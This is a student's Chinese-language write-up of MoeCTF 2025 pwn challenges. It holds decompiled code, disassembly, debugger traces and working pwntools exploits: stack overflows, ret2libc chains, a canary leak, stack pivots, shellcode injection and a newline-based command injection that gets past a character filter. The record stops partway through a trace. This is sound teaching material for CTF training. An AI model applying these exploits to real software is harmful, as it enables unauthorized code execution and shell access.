Moectf2025 新生赛

本人是大一新生,刚入门pwn,参加了Moectf2025的新生赛,想写一篇文章记录一下,如果有任何文章问题,望指正。

在这里特别感谢Maple师傅的指导。

文章里的题目顺序并不是按难度排的。

ez_u64

unsigned __int64 vuln()
{

__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Ya hello! Let's play a game.");
printf("Guess which number I'm thinking of.");
printf("Here is the hint.");
write(1, &num, 8uLL);
printf("\n>");

__isoc99_scanf("%zu", &v1);
if ( v1 != num )
{
puts("Wrong answer!");
puts("Try pwntools u64?");
exit(1);
}
puts("Win!");
system("/bin/sh");
return v2 - __readfsqword(0x28u);
}
p=start()
p.recvuntil("Here is the hint.")
leaked_data = p.recv(8)
log.info(f"leak data: {leaked_data.hex()}")
num = u64(leaked_data)
log.info(f"data: {num}")
p.recvuntil(">")
p.sendline(str(num))
p.interactive()

[DEBUG] Received 0x5b bytes: 00000000 59 61 20 68 65 6c 6c 6f 21 20 4c 65 74 27 73 20 │Ya h│ello│! Le│t’s │

00000010 70 6c 61 79 20 61 20 67 61 6d 65 2e 0a 47 75 65 │play│ a g│ame.│·Gue│

00000020 73 73 20 77 68 69 63 68 20 6e 75 6d 62 65 72 20 │ss w│hich│ num│ber │

00000030 49 27 6d 20 74 68 69 6e 6b 69 6e 67 20 6f 66 2e │I’m │thin│king│ of.│

00000040 48 65 72 65 20 69 73 20 74 68 65 20 68 69 6e 74 │Here│ is │the │hint│

00000050 2e ea 1e 03 77 ac 92 b2 d2 0a 3e │.···│w···│··>│

0000005b

[*] 泄露的数据: ea1e0377ac92b2d2

[*] 转换后的数值: 15182358563248086762

find_it

int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // eax
char file[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
fd = dup(1);
write(fd, "I've hidden the fd of stdout. Can you find it?\n", 0x2FuLL);
close(1);
__isoc99_scanf("%d", &fd1);
write(fd1, "You are right.What would you like to see?\n", 0x2AuLL);
__isoc99_scanf("%s%*c", file);
open(file, 0);
write(fd1, "What is its fd?\n", 0x10uLL);
__isoc99_scanf("%d", &fd2);
read(fd2, &buf, 0x50uLL);
write(fd1, &buf, 0x50uLL);
return 0;
}

这道考的是文件标志符,3,flag,1就行了

inject

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-2Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-28h]

v5 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
puts("Welcome to server maintainance system.");
while ( 1 )
{
_printf_chk(
1LL,
"1. List processes\n2. Check disk usage\n3. Check network activity\n4. Test connectivity\n5. Exit\nYour choice: ");
if ( (int)_isoc99_scanf("%u", &v4) < 0 )
break;
getc(stdin);
switch ( v4 )
{
case 1:
execute("ps aux");
break;
case 2:
execute("df -h");
break;
case 3:
execute("netstat -ant");
break;
case 4:
ping_host();
break;
case 5:
exit(0);
default:
puts("Invalid choice!");
break;
}
}
exit(1);
}

main函数没有什么漏洞,查看ping_host()

unsigned __int64 ping_host()
{
_QWORD *buf_1; // rsi
size_t v1; // rax
char *command_1; // rdi
unsigned __int64 result; // rax
char v4; // [rsp+1h] [rbp-51h]
_QWORD buf[2]; // [rsp+2h] [rbp-50h] BYREF
char command[40]; // [rsp+12h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+3Ah] [rbp-18h]

v7 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
_printf_chk(1LL, "Enter host to ping: ");
buf_1 = buf;
if ( read(0, buf, 0xFuLL) <= 0 )
exit(1);
v1 = strlen((const char *)buf);
if ( *(&v4 + v1) == 10 )
*(&v4 + v1) = 0;
if ( (unsigned int)check(buf) )
{
buf_1 = &qword_20;
_snprintf_chk(command, 32LL, 1LL, 32LL, "ping %s -c 4", (const char *)buf);
command_1 = command;
execute(command);
}
else
{
command_1 = "Invalid hostname or IP!";
puts("Invalid hostname or IP!");
}
result = v7 - __readfsqword(0x28u);
if ( result )
_stack_chk_fail(command_1, buf_1);
return result;
}
_BOOL8 __fastcall check(const char *s)
{
return strpbrk(s, ";&|><$(){}[]'\"`\\!~*") == 0LL;
}

可以执行我们输入的内容和原有内容的组合,不能带有check函数中的符号

,是可以通过check函数的

cat flag命令没有参数,所以要将后面的省略了

p = start()
p.recvuntil(b"Your choice: ")
p.sendline(b'4')
p.recvuntil(b'Enter host to ping: ')
payload=b'1\ncat flag\n#'
p.sendline(payload)
p.interactive()

执行的是

ping 1
cat flag
# -c 4

Ret2text

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("Stack overflow is a powerful art!");
puts("In this MoeCTF,I will show you the charm of PWN!");
puts("You need to understand the structure of the stack first.");
puts("Then how many bytes do you need to overflow the stack?");
__isoc99_scanf("%d", &v4);
overflow(v4);
return 0;
}
int __fastcall overflow(int n7)
{
_BYTE buf[8]; // [rsp+18h] [rbp-8h] BYREF

if ( n7 <= 7 )
return puts("Come on, you can't even fill up this array?");
read(0, buf, n7);
return puts("OK,I receive your byte.and then?");
}
public treasure
.text:00000000004011B6 treasure proc near
.text:00000000004011B6 ; __unwind {
.text:00000000004011B6 endbr64
.text:00000000004011BA push rbp
.text:00000000004011BB mov rbp, rsp
.text:00000000004011BE lea rax, s ; "Congratulations! You got the secret!"
.text:00000000004011C5 mov rdi, rax ; s
.text:00000000004011C8 call _puts
.text:00000000004011CD lea rax, command ; "/bin/sh"
.text:00000000004011D4 mov rdi, rax ; command
.text:00000000004011D7 call _system
.text:00000000004011DC nop
.text:00000000004011DD pop rbp
.text:00000000004011DE retn
.text:00000000004011DE ; } // starts at 4011B6
.text:00000000004011DE treasure endp

简单的栈溢出,适用于没有PIE保护、无canary、可以溢出足够长并且具有后门函数的情况

8个A覆盖buf[8],8字节覆盖rbp,8字节覆盖返回地址

io = start()
io.recvuntil(b"Then how many bytes do you need to overflow the stack?")
io.sendline(str(32))
payload=b'A'*8+p64(0x401310)+p64(0x4011CD)
io.send(payload)
io.interactive()

通常情况下,最好选择返回地址为关键部分,否则可能出现某些错误,比如说这道题可能出现栈没对齐的情况

Ret2shellcode

int __fastcall main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+0h] [rbp-20h] BYREF
int prot; // [rsp+4h] [rbp-1Ch]
int v6; // [rsp+8h] [rbp-18h]
int n10; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
init(argc, argv, envp);
s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( s == (void *)-1LL )
{
perror("mmap");
return 1;
}
memset(s, 0, 0x1000uLL);
v6 = 0;
prot = 0;
puts("In a ret2text exploit, we can use code in the .text segment.");
puts("But now, there is no 'system' function available there.");
puts("How can you get the flag now? Perhaps you should use shellcode.");
puts("But what is shellcode? What can you do with it? And how can you use it?");
puts("I will give you some choices. Choose wisely!");
__isoc99_scanf("%d", &n4);
do
n10 = getchar();
while ( n10 != 10 && n10 != -1 );
if ( n4 == 4 )
{
if ( v6 == 1 )
puts("You can only make one change!");
prot = 7;
v6 = 1;
}
else
{
if ( n4 > 4 )
goto LABEL_24;
switch ( n4 )
{
case 3:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 4;
v6 = 1;
break;
case 1:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 1;
v6 = 1;
break;
case 2:
if ( v6 == 1 )
puts("You can only make one change!");
prot = 3;
v6 = 1;
break;
default:
LABEL_24:
puts("Invalid choice. The space remains in its chaotic state.");
exit(1);
}
}
if ( mprotect(s, 0x1000uLL, prot) == -1 )
{
perror("mprotect");
exit(1);
}
puts("\nYou have now changed the permissions of the shellcode area.");
puts("If you can't input your shellcode, think about the permissions you just set.");
read(0, s, 0x1000uLL);
((void (*)(void))s)();
return 0;
}

观察到((void (*)(void))s)(),是一个可能可利用的shellcode

选择4给可读可写可执行权限,再利用shellcraft工具将sh写入s,程序就会将s的内容执行

io = start()
io.recvuntil(b"I will give you some choices. Choose wisely!\n")
io.sendline(str(4))
io.recvuntil(b"If you can't input your shellcode, think about the permissions you just set.\n")
io.send(asm(shellcraft.sh()))
io.interactive()

Prelibc

int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The Oracle speaks...");
puts("There is no system function in the .text segment.");
printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("\nNow, show me what you can do with this knowledge:");
printf("> ");
return read(0, buf, 0x100uLL);
}

相较于Ret2text,没有了后门函数,需要我们字节构建system(“/bin/sh”)

p = start()
p.recvuntil(b"A gift of forbidden knowledge, the location of 'printf': ")
printf_bytes=p.recvuntil(b'\n')
printf_addr_str = printf_bytes.strip().decode('utf-8')
printf_addr = int(printf_addr_str, 16)
log.success(hex(printf_addr))
libc_base=printf_addr-libc.sym['printf']
sys_addr=libc_base+libc.sym['system']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_addr=libc_base+0x2a3e5
p.recvuntil(b"> ")
payload=b'A'*0x48+p64(pop_rdi_addr+1)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
p.send(payload)
p.interactive()

利用给的printf的地址,计算出libc的基地址,计算出“pop rdi;ret”、system与“/bin/sh”的地址

A*0x48覆盖buf和rbp,再利用pop_rdi_addr+1即是ret,用来防止栈没对齐,再执行pop rdi,将“/bin/sh”传入rdi中,返回system函数实现劫持

Easylibc

int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read);
vuln();
puts("Something happening");
return 0;
}
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x60uLL);
}
[*] '/home/ubuntu/Moectf/easylibc/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

这题相较于Prelibc,关联到延迟绑定的内容

第一次输出时,输出的是一个还未使用过的函数read的地址,即是read的got表地址

[DEBUG] Received 0x45 bytes:
b'What is this?\n'
b'How can I use 0x5a5e41533060 without a backdoor? Damn!\n'
[+] read got addr: 0x5a5e41533060
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ubuntu/Moectf/easylibc/pwn_patched:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x5a5e41536018] puts@GLIBC_2.2.5 -> 0x5a5e41533030 ◂— endbr64
[0x5a5e41536020] setbuf@GLIBC_2.2.5 -> 0x7dae4ee87fe0 (setbuf) ◂— endbr64
[0x5a5e41536028] printf@GLIBC_2.2.5 -> 0x7dae4ee606f0 (printf) ◂— endbr64
[0x5a5e41536030] read@GLIBC_2.2.5 -> 0x5a5e41533060 ◂— endbr64

我们可以利用该地址算出main函数的地址,利用Ret2text使程序重新执行main函数

第二次输出时输出的就是read的真实地址,此时我们就可以利用Ret2libc劫持

[DEBUG] Received 0x45 bytes:
b'What is this?\n'
b'How can I use 0x7dae4ef147d0 without a backdoor? Damn!\n'
[+] read addr: 0x7dae4ef147d0
[+] libc_base addr: 0x7dae4ee00000
[+] system addr: 0x7dae4ee50d70
[+] bin addr: 0x7dae4efd8678
[+] rdi addr: 0x7dae4ee2a3e5
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ubuntu/Moectf/easylibc/pwn_patched:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x5a5e41536018] puts@GLIBC_2.2.5 -> 0x5a5e41533030 ◂— endbr64
[0x5a5e41536020] setbuf@GLIBC_2.2.5 -> 0x7dae4ee87fe0 (setbuf) ◂— endbr64
[0x5a5e41536028] printf@GLIBC_2.2.5 -> 0x7dae4ee606f0 (printf) ◂— endbr64
[0x5a5e41536030] read@GLIBC_2.2.5 -> 0x7dae4ef147d0 (read) ◂— endbr64
p = start()
p.recvuntil(b"What is this?\nHow can I use ")
got_addr_hex_bytes = p.recvuntil(b' ')[:-1]
read_got_addr = int(got_addr_hex_bytes.decode(), 16)
log.success("read got addr: %s",hex(read_got_addr))

main_base=read_got_addr-elf.sym["read"]+elf.sym["main"]+0x54+0x5
payload0=b'A'*0x28+p64(main_base)
p.send(payload0)

p.recvuntil(b"What is this?\nHow can I use ")
addr_hex_bytes = p.recvuntil(b' ')[:-1]
read_addr = int(addr_hex_bytes.decode(), 16)
log.success("read addr: %s",hex(read_addr))

libc_base=read_addr-libc.sym["read"]
sys_addr=libc_base+libc.sym["system"]
bin_addr=libc_base+next(libc.search(b"/bin/sh"))
pop_rdi_addr=libc_base+0x2a3e5
log.success("libc_base addr: %s",hex(libc_base))
log.success("system addr: %s",hex(sys_addr))
log.success("bin addr: %s",hex(bin_addr))
log.success("rdi addr: %s",hex(pop_rdi_addr))
p.recvuntil(b"without a backdoor? Damn!\n")
payload=b'A'*0x28+p64(pop_rdi_addr+1)+p64(pop_rdi_addr)+p64(bin_addr)+p64(sys_addr)
p.send(payload)
p.interactive()

Ezcanary

int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
vuln();
return 0;
}
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(aThisTimeIWon);
puts("Here is a beautiful canary, and it will be watching over you.");
read(0, buf, 0x2AuLL);
puts("Go ahead and overflow, anyway I have a canary.");
puts(buf);
puts("I will give you a second chance, since you can not do anything anyway.");
puts(aEvenIfYouKillT);
read(0, buf, 0x2AuLL);
return v2 - __readfsqword(0x28u);
}

对于有canary保护的该程序,多输入一字节将canary的00覆盖,这样在puts(buf)是就会将canary的其余七字节泄露出,这样就绕过了canary保护

.text:0000000000001229                 public backdoor
.text:0000000000001229 backdoor proc near
.text:0000000000001229
.text:0000000000001229 buf = qword ptr -10h
.text:0000000000001229 var_8 = qword ptr -8
.text:0000000000001229
.text:0000000000001229 ; __unwind {
.text:0000000000001229 endbr64
.text:000000000000122D push rbp
.text:000000000000122E mov rbp, rsp
.text:0000000000001231 sub rsp, 10h
.text:0000000000001235 mov rax, fs:28h
.text:000000000000123E mov [rbp+var_8], rax
.text:0000000000001242 xor eax, eax
.text:0000000000001244 lea rax, s ; "Give me the password!"
.text:000000000000124B mov rdi, rax ; s
.text:000000000000124E call _puts
.text:0000000000001253 lea rax, [rbp+buf]
.text:0000000000001257 mov edx, 8 ; nbytes
.text:000000000000125C mov rsi, rax ; buf
.text:000000000000125F mov edi, 0 ; fd
.text:0000000000001264 call _read
.text:0000000000001269 mov rdx, [rbp+buf]
.text:000000000000126D mov rax, cs:password
.text:0000000000001274 cmp rdx, rax
.text:0000000000001277 jnz loc_1311
.text:000000000000127D lea rax, aYouFindTheSecr ; "You find the secret:"
.text:0000000000001284 mov rdi, rax ; s
.text:0000000000001287 call _puts
.text:000000000000128C mov esi, 0 ; oflag
.text:0000000000001291 lea rax, file ; "/flag"
.text:0000000000001298 mov rdi, rax ; file
.text:000000000000129B mov eax, 0
.text:00000000000012A0 call _open
.text:00000000000012A5 mov cs:fd, eax
.text:00000000000012AB mov eax, cs:fd
.text:00000000000012B1 cmp eax, 0FFFFFFFFh
.text:00000000000012B4 jnz short loc_12CF
.text:00000000000012B6 lea rax, aFailedToOpenFl ; "Failed to open flag file."
.text:00000000000012BD mov rdi, rax ; s
.text:00000000000012C0 call _puts
.text:00000000000012C5 mov edi, 1 ; status
.text:00000000000012CA call _exit
.text:00000000000012CF ; ---------------------------------------------------------------------------
.text:00000000000012CF
.text:00000000000012CF loc_12CF: ; CODE XREF: backdoor+8B↑j
.text:00000000000012CF mov eax, cs:fd
.text:00000000000012D5 mov edx, 64h ; 'd' ; nbytes
.text:00000000000012DA lea rcx, flag
.text:00000000000012E1 mov rsi, rcx ; buf
.text:00000000000012E4 mov edi, eax ; fd
.text:00000000000012E6 call _read
.text:00000000000012EB mov edx, 64h ; 'd' ; n
.text:00000000000012F0 lea rax, flag
.text:00000000000012F7 mov rsi, rax ; buf
.text:00000000000012FA mov edi, 1 ; fd
.text:00000000000012FF call _write
.text:0000000000001304 mov eax, cs:fd
.text:000000000000130A mov edi, eax ; fd
.text:000000000000130C call _close
.text:0000000000001311
.text:0000000000001311 loc_1311: ; CODE XREF: backdoor+4E↑j
.text:0000000000001311 mov edi, 0 ; status
.text:0000000000001316 call _exit
.text:0000000000001316 ; } // starts at 1229
.text:0000000000001316 backdoor endp

此外还有PIE保护和后门函数,我们还可以覆盖返回地址的两个字节

对于开启PIE保护的程序,后三位地址是固定的,所以我们只需要从028c、128c、…、f28c中选一个进行爆破,有$\frac{1}{16}$的概率成功

p = start()
p.recvuntil(b"Here is a beautiful canary, and it will be watching over you.\n")
payload1=b'a'*0x19
p.send(payload1)
p.recvuntil(b'a'*0x19)
canary_leak = p.recvn(7)
canary_bytes = b'\x00'+canary_leak
canary = u64(canary_bytes)
log.success(f"完整 canary(8 字节): 0x{canary:016x}")
payload2 = 0x18*b"a"+p64(canary)+p64(0xaaaaaaaa)+b"\x8c\x52"
p.send(payload2)
p.interactive()

Ezpivot

[*] '/home/ubuntu/Moectf/ezpivot/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n32; // [rsp+0h] [rbp-10h] BYREF
_BYTE buf[12]; // [rsp+4h] [rbp-Ch] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to join this pwn party!");
puts("Please say something to introduce yourself:");
puts("Before that,you need to tell us the length of your introduction.");
__isoc99_scanf("%d", &n32);
if ( n32 > 32 )
{
puts("Your introduction is too long, please try again.");
exit(1);
}
introduce((unsigned int)n32);
puts("Now, please tell us your phone number:");
read(0, buf, len_of_phonenum);
return 0;
}

这里存在由int到unsigned int的强制转换,输入-1就能使(unsigned int)n32达到非常大的值

int __fastcall introduce(unsigned int nbytes)
{
read(0, &desc, nbytes);
return puts("Ok,we got your introduction!");
}
.bss:0000000000404060                 public desc
.bss:0000000000404060 desc db ? ; ; DATA XREF: introduce+15↑o
.bss:0000000000404061 db ? ;
...
.bss:000000000040485F db ? ;
.bss:000000000040485F _bss ends
.bss:000000000040485F

desc在bss段上,可以任意写

.data:0000000000404010                 public len_of_phonenum
.data:0000000000404010 len_of_phonenum dd 1Ch ; DATA XREF: main+E8↑r
.data:0000000000404010 _data ends

栈上只能覆盖rbp和返回地址

.text:0000000000401211 ; void magic()
.text:0000000000401211 public magic
.text:0000000000401211 magic proc near
.text:0000000000401211 ; __unwind {
.text:0000000000401211 endbr64
.text:0000000000401215 push rbp
.text:0000000000401216 mov rbp, rsp
.text:0000000000401219 pop rdi
.text:000000000040121A retn
.text:000000000040121A magic endp
.text:000000000040121A
.text:000000000040121A ; ---------------------------------------------------------------------------
.text:000000000040121B align 4
.text:000000000040121C pop rbp
.text:000000000040121D retn
.text:000000000040121D ; } // starts at 401211
.text:000000000040121E
.text:000000000040121E ; =============== S U B R O U T I N E =======================================
.text:000000000040121E
.text:000000000040121E ; Attributes: bp-based frame
.text:000000000040121E
.text:000000000040121E public backdoor
.text:000000000040121E backdoor proc near
.text:000000000040121E ; __unwind {
.text:000000000040121E endbr64
.text:0000000000401222 push rbp
.text:0000000000401223 mov rbp, rsp
.text:0000000000401226 lea rax, command ; "echo moectf{WowYouGetTheFlag}"
.text:000000000040122D mov rdi, rax ; command
.text:0000000000401230 call _system
.text:0000000000401235 pop rbp
.text:0000000000401236 retn
.text:0000000000401236 ; } // starts at 40121E
.text:0000000000401236 backdoor endp

没有直接system返回地址可以用,需要我们构造pop rdi->binsh_addr->retn->system但是溢出字节不够,需要栈迁移

p = start()
leave_pop_ret_addr=0x401211
leave_ret_addr=0x40133e
backdoor_addr=0x401230
bss_addr=0x404060
pop_rdi_addr=0x401219
main_addr=0x4011de

p.recvuntil(b"Before that,you need to tell us the length of your introduction.\n")
p.sendline(str(-1))

payload1=b'/bin/sh\x00'*0x100+p64(bss_addr+0x200)+p64(pop_rdi_addr)+p64(0x404078)+p64(backdoor_addr)
p.send(payload1)

p.recvuntil(b"Now, please tell us your phone number:\n")
payload2=b'a'*0xc+p64(bss_addr+0x800)+p64(leave_ret_addr)
p.sendline(payload2)

p.interactive()

我们先在bss段上构造我们可以利用的栈,再利用第二次输入实现栈迁移并劫持程序

为什么b’/bin/sh‘*0x100?调用system函数会利用很大的栈空间,所以我们需要抬高栈基地址,并不一定是b’/bin/sh’*0x100

.text:0000000000401334                 call    _read
.text:0000000000401339 mov eax, 0
.text:000000000040133E leave
.text:000000000040133F retn

下面来详细解释一下流程:

第二次输入完成后,leave(mov rsp,rbp;pop rbp)此时rbp变为0x404860

接着返回我们控制的leave;retn

再次进行leave,此时rsp指向0x404860+0x8(对应pop_rdi_addr),rbp指向0x404260

retn(pop rip)执行pop rdi,将0x404078地址的内容即是/bin/sh00弹入rdi

再执行0x401230 call _system即可实现劫持

下面是system调用需要注意的地方

  0x7f5cd00582d0 <do_system>       push   r13
0x7f5cd00582d2 <do_system+2> mov edx, 1 EDX => 1
0x7f5cd00582d7 <do_system+7> push r12
0x7f5cd00582d9 <do_system+9> mov r12, rdi R12 => 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */
0x7f5cd00582dc <do_system+12> push rbp
► 0x7f5cd00582dd <do_system+13> push rbx
0x7f5cd00582de <do_system+14> `sub rsp, 0x388` RSP => 0x4044d0 (desc+1136) (0x404858 - 0x388)
0x7f5cd00582e5 <do_system+21> mov rax, qword ptr fs:[0x28] RAX, [0x7f5cd0291768] => 0x57019af9a1b4e700
0x7f5cd00582ee <do_system+30> mov qword ptr [rsp + 0x378], rax [desc+2024] <= 0x57019af9a1b4e700
0x7f5cd00582f6 <do_system+38> xor eax, eax EAX => 0
0x7f5cd00582f8 <do_system+40> mov dword ptr [rsp + 8], 0xffffffff [desc+1144] <= 0xffffffff

hardpivot

[*] '/home/ubuntu/Moectf/hardpivot/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
vuln();
puts("See you again!");
return 0;
}
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("This time I will not give you any gifts again.");
puts(aASingleStackPi);
puts("Think back to what you learned from the previous challenges and integrate it comprehensively.");
puts("You have made it this far—keep going, victory is not far away.");
printf("> ");
return read(0, buf, 0x50uLL);
}
.text:0000000000401208 ; ssize_t vuln()
.text:0000000000401208 public vuln
.text:0000000000401208 vuln proc near ; CODE XREF: main+17↓p
.text:0000000000401208
.text:0000000000401208 buf = byte ptr -40h
.text:0000000000401208
.text:0000000000401208 ; __unwind {
.text:0000000000401208 endbr64
.text:000000000040120C push rbp
.text:000000000040120D mov rbp, rsp
.text:0000000000401210 sub rsp, 40h
.text:0000000000401214 lea rax, s ; "This time I will not give you any gifts"...
.text:000000000040121B mov rdi, rax ; s
.text:000000000040121E call _puts
.text:0000000000401223 lea rax, aASingleStackPi ; "A single stack pivot doesn"
.text:000000000040122A mov rdi, rax ; s
.text:000000000040122D call _puts
.text:0000000000401232 lea rax, aThinkBackToWha ; "Think back to what you learned from the"...
.text:0000000000401239 mov rdi, rax ; s
.text:000000000040123C call _puts
.text:0000000000401241 lea rax, aYouHaveMadeItT ; "You have made it this far—keep going, v"...
.text:0000000000401248 mov rdi, rax ; s
.text:000000000040124B call _puts
.text:0000000000401250 lea rax, format ; "> "
.text:0000000000401257 mov rdi, rax ; format
.text:000000000040125A mov eax, 0
.text:000000000040125F call _printf
.text:0000000000401264 lea rax, [rbp+buf]
.text:0000000000401268 mov edx, 50h ; 'P' ; nbytes
.text:000000000040126D mov rsi, rax ; buf
.text:0000000000401270 mov edi, 0 ; fd
.text:0000000000401275 call _read
.text:000000000040127A nop
.text:000000000040127B leave
.text:000000000040127C retn
.text:000000000040127C ; } // starts at 401208
.text:000000000040127C vuln endp

注意到vuln函数后面有leave;retn

.text:0000000000401196 ; void magic()
.text:0000000000401196 public magic
.text:0000000000401196 magic proc near
.text:0000000000401196 ; __unwind {
.text:0000000000401196 endbr64
.text:000000000040119A push rbp
.text:000000000040119B mov rbp, rsp
.text:000000000040119E pop rdi
.text:000000000040119F retn
.text:000000000040119F magic endp
.text:000000000040119F
.text:000000000040119F ; ---------------------------------------------------------------------------
.text:00000000004011A0 db 90h
.text:00000000004011A1 ; ---------------------------------------------------------------------------
.text:00000000004011A1 pop rbp
.text:00000000004011A2 retn
.text:00000000004011A2 ; } // starts at 401196

缓冲区只溢出两个8字节并且没有后门,应该是要栈迁移

我们的思路是:

第一次进行栈迁移,并且使程序重新执行read读取我们构造的攻击载荷到新栈上

要进行system需要知道地址,即需要libc基址,所以我们需要在攻击载荷中将某个函数的真实地址作为参数传给输出函数,并且控制程序重新执行

第三次将最终的攻击载荷写到新栈上,并控制程序执行

下面我们来一步一步的观察一下进程

  1. 第一次read前
 RBP  0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1
RSP 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*RIP 0x401275 (vuln+109) ◂— call read@plt

► 0x401275 <vuln+109> call read@plt <read@plt>
fd: 0 (pipe:[82862])
buf: 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087
nbytes: 0x50

00:0000│ rax rsi rsp 0x7fff76f94a40 —▸ 0x7b3a0be1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2087
01:0008│-038 0x7fff76f94a48 —▸ 0x7b3a0bc816e5 (setvbuf+245) ◂— cmp rax, 1
02:0010│-030 0x7fff76f94a50 ◂— 0
03:0018│-028 0x7fff76f94a58 —▸ 0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1
04:0020│-020 0x7fff76f94a60 —▸ 0x7fff76f94ba8 —▸ 0x7fff76f969e6 ◂— '/home/ubuntu/Moectf/hardpivot/pwn_patched'
05:0028│-018 0x7fff76f94a68 —▸ 0x40127d (main) ◂— endbr64
06:0030│-010 0x7fff76f94a70 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401160 (__do_global_dtors_aux) ◂— endbr64
07:0038│-008 0x7fff76f94a78 —▸ 0x401205 (setup+98) ◂— nop
08:0040│ rbp 0x7fff76f94a80 —▸ 0x7fff76f94a90 ◂— 1
09:0048│+008 0x7fff76f94a88 —▸ 0x401299 (main+28) ◂— lea rax, [rip + 0xe84]
  1. 第一次read后
 RBP  0x7fff76f94a80 —▸ 0x404880 (bss_buffer+2016) ◂— 0
RSP 0x7fff76f94a40 ◂— 0x6161616161616161 ('aaaaaaaa')
*RIP 0x40127b (vuln+115) ◂— leave

► 0x40127b <vuln+115> leave

00:0000│ rsi rsp 0x7fff76f94a40 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 7 skipped
08:0040│ rbp 0x7fff76f94a80 —▸ 0x404880 (bss_buffer+2016) ◂— 0
09:0048│+008 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
  1. 第一次leave后
*RBP  0x404880 (bss_buffer+2016) ◂— 0
*RSP 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
*RIP 0x40127c (vuln+116) ◂— ret

► 0x40127c <vuln+116> ret <vuln+92>

00:0000│ rsp 0x7fff76f94a88 —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
  1. 第一次retn后,第二次read前
 RBP  0x404880 (bss_buffer+2016) ◂— 0
*RSP 0x7fff76f94a90 ◂— 1
*RIP 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]

► 0x401264 <vuln+92> lea rax, [rbp - 0x40] RAX => 0x404840 (bss_buffer+1952) ◂— 0

00:0000│ rsp 0x7fff76f94a90 ◂— 1
01:0008│ 0x7fff76f94a98 —▸ 0x7b3a0bc29d90 ◂— mov edi, eax
02:0010│ 0x7fff76f94aa0 ◂— 0
03:0018│ 0x7fff76f94aa8 —▸ 0x40127d (main) ◂— endbr64
04:0020│ 0x7fff76f94ab0 ◂— 0x176f94b90
05:0028│ 0x7fff76f94ab8 —▸ 0x7fff76f94ba8 —▸ 0x7fff76f969e6 ◂— '/home/ubuntu/Moectf/hardpivot/pwn_patched'
06:0030│ 0x7fff76f94ac0 ◂— 0
07:0038│ 0x7fff76f94ac8 ◂— 0x5292586019285d4d
  1. 第二次read后
 RBP  0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
RSP 0x7fff76f94a90 ◂— 1
*RIP 0x40127b (vuln+115) ◂— leave

► 0x40127b <vuln+115> leave

